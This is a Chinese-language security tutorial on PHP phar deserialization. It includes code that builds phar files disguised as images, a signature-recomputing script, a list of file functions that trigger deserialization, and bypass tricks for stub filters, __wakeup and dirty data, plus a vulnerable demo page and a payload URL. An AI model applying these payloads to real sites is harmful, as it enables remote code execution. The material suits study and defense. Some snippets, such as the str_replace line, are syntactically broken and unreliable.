反序列化-phar

Phar反序列化

参考文章: 1、#https://aecous.github.io/2023/04/24/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-phar%E7%AF%87/ 2、#https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0DRDBGit30%3DKDsA3r%2BDcAiD9DQqwxvID&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F6699#toc-3 3、#https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 默认开启版本 PHP version >= 5.3

1
2
3
4
1Stub			//Phar文件头
2manifest	//压缩文件信息
3contents	//压缩文件内容
4signature	//签名

stub是phar的文件头,如果没有这个就无法被识别为phar文件(但是不影响伪造成其他文件:gif、png、jpg and so on)

1
<?php xxx; __HALT_COMPILER();?>

利用一些构造手法可以进行绕过

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。【引用】

被压缩文件的内容。

就是phar文件的签名,每次文件内容更改的时候都要重新生成新的签名

/img/phar/5.png
可以看见

1
2
3
4
20bytes => SHA1       0x0002
16bytes => MD5
32bytes => SHA256     0x0003
64bytes => SHA512     0x0004
1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class DTtest{
	
}
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new DTtest();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

?>

/img/phar/1.png
可以看见他的存储方式也是以反序列化的形式存在的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
    class DTtest {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new DTtest();
    $o->data='hello DT!';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

/img/phar/2.png
可以看见这里也是可以伪造了一个jpg的头文件 测试了一下也是可以构造链子的,这里就不演示了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
include('phar://phar.jpg');
class DTtest {
    function __destruct()
    { 
        echo $this->data;
        echo phpinfo();
    }
    }
?>

/img/phar/3.png
为什么 Phar 会反序列化处理文件并且在文件操作中能够成功反序列化呢?

https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ,重点关注:

1
2
3
stream = php_stream_open_wrapper_ex(filename, "rb",
                (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
                NULL, context);

可以注意,其使用的是php_stream系列API来打开一个文件。 官方文档: https://www.php.net/manual/en/book.stream.php ,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。这个phar就注册了phar://这个stream wrapper,可以看看注册了什么wrapper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
php > var_dump(stream_get_wrappers());
array(12) {
  [0]=>
  string(5) "https"
  [1]=>
  string(4) "ftps"
  [2]=>
  string(13) "compress.zlib"
  [3]=>
  string(14) "compress.bzip2"
  [4]=>
  string(3) "php"
  [5]=>
  string(4) "file"
  [6]=>
  string(4) "glob"
  [7]=>
  string(4) "data"
  [8]=>
  string(4) "http"
  [9]=>
  string(3) "ftp"
  [10]=>
  string(4) "phar"
  [11]=>
  string(3) "zip"
}

注册wapper可以实现功能,具体看底层代码: https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
typedef struct _php_stream_wrapper_ops {
    /* open/create a wrapped stream */
    php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
            int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
    /* close/destroy a wrapped stream */
    int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
    /* stat a wrapped stream */
    int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
    /* stat a URL */
    int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
    /* open a "directory" stream */
    php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
            int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
    const char *label;
    /* delete a file */
    int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
    /* rename a file */
    int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
    /* Create/Remove directory */
    int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
    int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
    /* Metadata handling */
    int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
} php_stream_wrapper_ops;

可以看见拥有: stream_opener,stream_closer,stream_stat,url_stat,dir_opener,unlink,rename,stream_mkdir,stream_metadata 这几个功能 404实验室seaii指出了所有文件函数均可使用

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / `fopen``
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy 根据文章的分析,可以看见,其原理都是调用了 php_stream_locate_url_wrapper这个函数,都是直接或者间接的触发反序列化的wrapper。 接下来是一些touch文件
  • exif_thumbnail
  • exif_imagetype
  • imageloadfont
  • imagecreatefrom***
  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file
  • get_meta_tags
  • get_headers
  • getimagesize
  • getimagesizefromstring
1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

demo:

1
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

当然,它同样适用于compress.zlib://

1
2
3
4

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

Mysql的load data local infile也会触发php_stream_open_wrapper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

当phar这个后缀名被ban的时候,可以直接对后缀进行更改,不会影响到协议的读取,因为根据前面stub来判断phar,例如前面构造的jpg来绕过一些限制。拿上面的举个例子。

/img/phar/4.png

如果ban了stub头,那么可以将phar文件进行一次压缩,建议使用linux的自带压缩gzip,使用windows的bandzip等会导致算法问题无法触发

1
gzip 1.zip 1.phar

如果无法用phar协议,那么就可以用下面的

1
compress.zlib://phar://phar.phar/test.txt

这里我写一个例子出来: demo: a.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class DTtest{
	
}
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new DTtest();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

?>

phar.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php   
highlight_file(__FILE__);   
error_reporting(0);  
$a = $_GET['filename'];   if(substr($a, 0,7) == "phar://" && isset($a)){       die(nonono);
}else{   
	include $a;   
}   
class DTtest{          
public function __destruct(){
echo $this->data;          
echo phpinfo();            
}      
}      
?>

这里为了简便就不写对后缀名的限制了,但是我这里还是上传gif文件。

/img/phar/6.png
playlaod:http://127.0.0.1/phar.php?filename=compress.zlib://phar://phar.gif 同样的zip协议我就不写了

php版本 PHP5<5.6.25,PHP7 < 7.0.10 在正常的反序列化漏洞中,都知道,可以通过改变成员数来绕过wakeup()(具体为什么我后面再去分析),所以在phar反序列化中一样,这里直接给出demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
class DTtest{
	
}
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new DTtest();
    str_replace("O:6:"DTtest:1","O:6:"DTtest":2,$o);
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

?>

后面自动计算签名即可 另外一个方式(当php版本对应不上且含有__destruct方法的时候)可以使用GC回收机制来直接触发销毁方法从而绕过wakeup 或者可以利用aecous师傅写的:

1
2
3
4
5
6
7
8
from hashlib import sha1
file = open('test.phar', 'rb').read()  # 需要重新生成签名的phar文件


data = file[:-28]  # 获取需要签名的据
final = file[-8:]  # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB
open('poc.phar', 'wb').write(newfile)  # 写入到新的phar文件

来进行绕i过

这里我也就直接贴上上面师傅的代码下来了 当文件上传之后,在文件数据前面拼接了脏数据,再进行文件函数配合phar协议读取时,就会因为签名原因导致无法反序列化,这种情况下,就需要在生成phar文件时,将已知的脏数据设置在stub中,计算完签名后将文件中的脏数据删除即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata = "dirty";

$phar = new Phar("phar.phar");
$phar->startBuffering();
//在stub头中添加脏数据
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
//添加压缩文件
$phar->addFromString("anything" , "test");
//自动计算签名
$phar->stopBuffering();

//读取phar文件
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
//删除脏数据头
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>

测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

class A{
    public function __destruct()
    {
        echo "AAAA";
    }
}
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.phar");
$new=$old.$dirty;

$new= $dirty.$old;
file_put_contents("./phar/new.phar",$new);
file_get_contents("phar://./phar/new.phar");

绕过文件尾部的脏数据就不需要什么操作了,也不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
class A{
}
$a=new A();

//因为用的tar格式,所以不需要指定stub头
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
$phar->addFromString("test" , "test");
$phar->stopBuffering();
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

class A{
    public function __destruct()
    {
        echo "AAAA";
    }
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
}
$a=new A();
//前面的脏数据
$dirtydata="dirty";

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);

//设置开头数据
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();

//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

class A{
    public function __destruct()
    {
        echo "AAA";
    }
}
$front="dirty";
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar");